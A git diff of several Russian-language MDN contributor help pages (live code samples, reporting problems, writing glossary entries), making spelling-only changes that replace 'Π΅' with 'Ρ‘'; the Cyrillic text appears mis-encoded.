diff --git a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
index 12970e3f48..b87990dd06 100644
--- a/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
+++ b/files/ru/mdn/contribute/howto/convert_code_samples_to_be_live/index.html
@@ -3,7 +3,7 @@ title: Как "ΠΎΠΆΠΈΠ²ΠΈΡ‚ΡŒ" ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°
slug: MDN/Contribute/Howto/Convert_code_samples_to_be_live
translation_of: MDN/Contribute/Howto/Convert_code_samples_to_be_live
---
-<div>{{MDNSidebar}}</div><p class="summary">MDN ΠΈΠΌΠ΅Π΅Ρ‚ систСму Β«<a href="/ru/docs/MDN/Contribute/Editor/Live_samples">ΠΆΠΈΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²</a>Β», Π³Π΄Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½Π° страницС, слуТит для отобраТСния Π²Ρ‹Π²ΠΎΠ΄Π° этого ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Однако Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ эту систСму, ΠΈ ΠΈΡ… Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<div>{{MDNSidebar}}</div><p class="summary">MDN ΠΈΠΌΠ΅Π΅Ρ‚ систСму Β«<a href="/ru/docs/MDN/Contribute/Editor/Live_samples">ΠΆΠΈΠ²Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²</a>Β», Π³Π΄Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π½Π° страницС, слуТит для отобраТСния Π²Ρ‹Π²ΠΎΠ΄Π° этого ΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Однако Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ эту систСму, ΠΈ ΠΈΡ… Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<p><span class="seoSummary">Π–ΠΈΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΊΠΎΠ΄Π°, Π΄Π΅Π»Π°ΡŽΡ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ Π±ΠΎΠ»Π΅Π΅ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½ΠΎΠΉ ΠΈ наглядной. Π’ этом руководствС описываСтся, ΠΊΠ°ΠΊ "ΠΎΠΆΠΈΠ²ΠΈΡ‚ΡŒ" ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹.</span></p>
diff --git a/files/ru/mdn/contribute/howto/report_a_problem/index.html b/files/ru/mdn/contribute/howto/report_a_problem/index.html
index a0817f8271..a0667b2d78 100644
--- a/files/ru/mdn/contribute/howto/report_a_problem/index.html
+++ b/files/ru/mdn/contribute/howto/report_a_problem/index.html
@@ -9,16 +9,16 @@ translation_of: MDN/Contribute/Howto/Report_a_problem
---
<div>{{MDNSidebar}}</div>
-<p>ВрСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ ΠΏΡ€ΠΈ использовании MDN. Π‘ΡƒΠ΄ΡŒ Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с инфраструктурой сайта ΠΈΠ»ΠΈ ошибка Π² содСрТании Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈΠ±ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π»ΠΈΠ±ΠΎ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅, послСднСС ΠΈΠ½ΠΎΠ³Π΄Π° являСтся Π»ΡƒΡ‡ΡˆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΈ это Ρ‚ΠΎΠΆΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</p>
+<p>ВрСмя ΠΎΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ ΠΏΡ€ΠΈ использовании MDN. Π‘ΡƒΠ΄ΡŒ Ρ‚ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с инфраструктурой сайта ΠΈΠ»ΠΈ ошибка Π² содСрТании Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈΠ±ΠΎ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π»ΠΈΠ±ΠΎ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅, послСднСС ΠΈΠ½ΠΎΠ³Π΄Π° являСтся Π»ΡƒΡ‡ΡˆΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, ΠΈ это Ρ‚ΠΎΠΆΠ΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ.</p>
<h2 id="Ошибки_Π²_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ_ΠΈΠ»ΠΈ_запросы">Ошибки Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ запросы</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ MDN - это Π²ΠΈΠΊΠΈ, Π»ΡƒΡ‡ΡˆΠ΅Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, - это ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</span> <span title="">Но, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ Ρƒ вас ΡƒΠΆΠ΅ истСкаСт срок выполнСния вашСго собствСнного ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈΠ»ΠΈ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π² этом Ρ€ΠΎΠ΄Π΅, ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ΠΌΠΎΠ³ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Π΅ ΠΏΠΎΠ·ΠΆΠ΅.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ MDN - это Π²ΠΈΠΊΠΈ, Π»ΡƒΡ‡ΡˆΠ΅Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, - это ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ.</span> <span title="">Но, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ Ρƒ вас ΡƒΠΆΠ΅ истСкаСт срок выполнСния вашСго собствСнного ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° ΠΈΠ»ΠΈ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ Π² этом Ρ€ΠΎΠ΄Π΅, ΠΈ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΡ‚ΠΎ-Ρ‚ΠΎ ΠΌΠΎΠ³ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Ρ‘ ΠΏΠΎΠ·ΠΆΠ΅.</span></span></p>
<p>Бпособ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ – ΠΏΠΎΠ΄Π°Ρ‡Π° <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">заявки</a>. Π¨Π°Π±Π»ΠΎΠ½ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ содСрТит Ρ€Π°Π·Π΄Π΅Π»Ρ‹ для получСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎ ΡƒΡΡ‚Ρ€Π°Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹. НС ΡΡ‚Π΅ΡΠ½ΡΠΉΡ‚Π΅ΡΡŒ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ Π»ΡŽΠ±ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ шаблона, которая Π½Π΅ ΠΏΠΎΠ»Π΅Π·Π½Π° ΠΈΠ»ΠΈ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ ΠΊ вашСй ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅</p>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, нашС ΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ сообщСство занято, поэтому ΠΈΠ½ΠΎΠ³Π΄Π° самый быстрый способ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ – это ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСдСния см. Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages">созданиС ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ страниц</a>.</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, нашС ΠΏΠΈΡΠ°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ сообщСство занято, поэтому ΠΈΠ½ΠΎΠ³Π΄Π° самый быстрый способ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ – это ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСдСния см. Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="/ru/docs/MDN/Contribute/Creating_and_editing_pages">созданиС ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ страниц</a>.</p>
<h2 id="Ошибки_сайта_ΠΈΠ»ΠΈ_прСдлоТСния_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°">Ошибки сайта ΠΈΠ»ΠΈ прСдлоТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»Π°</h2>
-<p><a href="/ru/docs/MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> – ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°, разработанная MozillaΒ  для Π²Π΅Π±-сайта MDN, находится Π² состоянии Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠ³ΠΎ развития. Наши Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ряд Π΄ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… участников, постоянно вносят ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. Если Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈΠ»ΠΈ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с сайтом, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π΅ΡΡ‚ΡŒ <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π±ΠΎΠ»Π΅Π΅ интСрСсной</span></span>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://github.com/mdn/kuma/issues/new">Ρ„ΠΎΡ€ΠΌΡƒ заявки Kuma</a> для ΠΏΠΎΠ΄Π°Ρ‡ΠΈ ΠΎΡ‚Ρ‡Π΅Ρ‚Π°. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΠΎΡ€ΠΌΡƒ для сообщСния ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ сайта, хотя Π΅ΡΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ срСдства ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΡƒΠΆΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΠ»ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… людСй.</p>
+<p><a href="/ru/docs/MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a> – ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°, разработанная MozillaΒ  для Π²Π΅Π±-сайта MDN, находится Π² состоянии Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠ³ΠΎ развития. Наши Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ряд Π΄ΠΎΠ±Ρ€ΠΎΠ²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… участников, постоянно вносят ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ. Если Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈΠ»ΠΈ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с сайтом, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π΅ΡΡ‚ΡŒ <span class="tlid-translation translation" lang="ru"><span title="">ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρƒ Ρ‡Π΅Π³ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ³Π»ΠΎ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π±ΠΎΠ»Π΅Π΅ интСрСсной</span></span>, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://github.com/mdn/kuma/issues/new">Ρ„ΠΎΡ€ΠΌΡƒ заявки Kuma</a> для ΠΏΠΎΠ΄Π°Ρ‡ΠΈ ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π°. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΠΎΡ€ΠΌΡƒ для сообщСния ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ… с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ сайта, хотя Π΅ΡΡ‚ΡŒ Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ срСдства ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΡƒΠΆΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΠ»ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… людСй.</p>
diff --git a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
index 90cd9d2f3c..600c8491fa 100644
--- a/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
+++ b/files/ru/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
@@ -22,7 +22,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
<h2 id="Как_ΠΏΠΈΡΠ°Ρ‚ΡŒ_записи">Как ΠΏΠΈΡΠ°Ρ‚ΡŒΒ Π·Π°ΠΏΠΈΡΠΈ</h2>
-<p>Π˜Ρ‰Π΅Ρ‚Π΅ Ρ‚Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² записи глоссария? ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">список Π½Π΅Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ²</a> Π² ΠΊΠΎΠ½Ρ†Π΅ <a href="https://developer.mozilla.org/en-US/docs/Glossary">Ρ†Π΅Π»Π΅Π²ΠΎΠΉ страницы глоссария</a>. Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Π»ΡŽΠ±ΡƒΡŽ ΠΈΠ· этих ссылок, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ страницу глоссария для элСмСнта, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π°ΠΆΠ°Π»ΠΈ; Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ дСйствия.</p>
+<p>Π˜Ρ‰Π΅Ρ‚Π΅ Ρ‚Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡƒΠΆΠ΄Π°ΡŽΡ‚ΡΡ Π² записи глоссария? ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">список Π½Π΅Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ²</a> Π² ΠΊΠΎΠ½Ρ†Π΅ <a href="https://developer.mozilla.org/en-US/docs/Glossary">Ρ†Π΅Π»Π΅Π²ΠΎΠΉ страницы глоссария</a>. Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Π»ΡŽΠ±ΡƒΡŽ ΠΈΠ· этих ссылок, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ страницу глоссария для элСмСнта, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π½Π°ΠΆΠ°Π»ΠΈ; Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ дСйствия.</p>
<p>Если ΠΆΠ΅ Ρƒ вас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ идСя для Π½ΠΎΠ²ΠΎΠΉ записи Π² глоссарии, просто Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ запись Π² глоссарии" (см. Π½ΠΈΠΆΠ΅) Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π»Π°ΡΡŒΒ Π² Π½ΠΎΠ²ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅,Β Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Β Π½ΠΈΠΆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ дСйствия.</p>
@@ -33,7 +33,7 @@ translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
